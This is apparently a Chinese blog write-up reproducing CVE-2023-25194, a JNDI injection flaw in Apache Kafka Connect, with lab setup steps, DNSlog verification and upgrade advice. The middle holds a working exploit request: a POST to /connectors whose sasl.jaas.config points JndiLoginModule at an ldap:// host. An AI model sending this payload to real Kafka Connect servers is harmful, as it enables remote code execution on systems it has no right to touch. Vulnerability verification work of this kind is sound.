Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)

1、产品简介

     Kafka Connect是一种用于在Apache Kafka和其他系统之间可扩展且可靠地流式传输数据的工具。它使快速定义将大量数据移入和移出Kafka的连接器变得简单。Kafka Connect可以摄取整个数据库或从所有应用程序服务器收集指标到Kafka主题中,使数据可用于低延迟的流处理。

2、漏洞概述

     在Apache Kafka Connect中存在JNDI注入漏洞,当攻击者可访问Kafka Connect Worker,且可以创建或修改连接器时,通过设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入,造成RCE需低版本JDK或目标Kafka Connect系统中存在利用链。

3、影响范围

    影响版本 

   2.3.0 <= Apache Kafka <= 3.3.2

   不受影响版本

   Apache Kafka >= 3.4.0

4、复现环境

  Windows10搭建Kafka2.4.0集成环境(自行搭建jdk和mysql环境)

我这边使用的是jdk-11.0.18_windows-x64_bin.exe(JDK8也可以,建议使用JDK11)

  mysql 5.7.27

Kafka2.4.0集成环境下载地址:https://download.csdn.net/download/qq_41904294/87588240

5、漏洞复现

启动环境

bin\windows\zookeeper-server-start.bat config\zookeeper.properties

bin\windows\kafka-server-start.bat config\server.properties

bin\windows\connect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties

如果报错:“输入行太长。命令语法不正确”。出现这个问题的原因是 Windows 命令长度最长支持 8192 个字符,Kafka 的启动脚本中有命令拼接 classpath 变量,classpath 的内容是每个 jar 包的绝对路径拼接的字符串。当 Kafka 的位置比较深,也就是目录比较长的时候,classpath 的长度就会超长。
解决方法:缩短目录树结构,把Kafka安装目录直接放到根目录下即可。

3a2533464208416981efc69f1ce3e71d.png

 访问漏洞环境查看是否启动

6b7913976a8a4e4c864244a2fe17a508.png

 burp抓包查看是否存在相关依赖

http://x.x.x.x:8083/connector-plugins

74622c01f7344a77a3334f9b1b6cad8d.png

 当前网上流传的POC

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821

{
	"name": "xxx",
	"config": {
		"connector.class": "io.debezium.connector.mysql.MySqlConnector",
		"database.hostname": "127.0.0.1",
		"database.port": "3306",
		"database.user": "root",
		"database.password": "xxxx",
		"database.server.id": "xxxx",
		"database.server.name": "xxxx",
		"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
		"database.history.kafka.topic": "xxxx",   	"database.history.producer.security.protocol": "SASL_SSL",
    	"database.history.producer.sasl.mechanism": "PLAIN",
    	"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://xxxx\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
	}
}

POC原理 :通过创建mysql连接器时,设置sasl.jaas.config属性为com.sun.security.auth.module.JndiLoginModule,进而可导致JNDI注入

 

利用Dnslog回显验证漏洞是否存在

2d314f2d1dca424984618b3d88fe8b06.png

 

9b50f5e18fac418f9911a420f0e6f74a.png

27308fa28c4f4a538555e4d47d8f5140.png

7e01427ca64f4aadaccdfe35cf8510aa.png

 报错了,查看漏洞环境报错信息,提示服务器时区错误无法识别 ,在网上找了找方法,找到一些设置修改数据库时区,set time_zone='+8:00'; 这种方法,但是尝试后并无果,后来看了一遍文章,在创建连接器时指定数据库时区的方式

添加配置"database.serverTimezone“解决(不明白这里为什么要指定美国时区,知道的大哥指点一下)

"config": {
    ...
    "database.serverTimezone": "America/Los_Angeles",
    ...
}

 重新验证

0450a46d44cb43708c2f28d0a06a321a.png

3ae3a0ce70c74569b244ad08586fe464.png

 回显成功,漏洞存在

 

6、修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

 

 

 

  • 2
    点赞
  • 1
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OidBoy_G

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值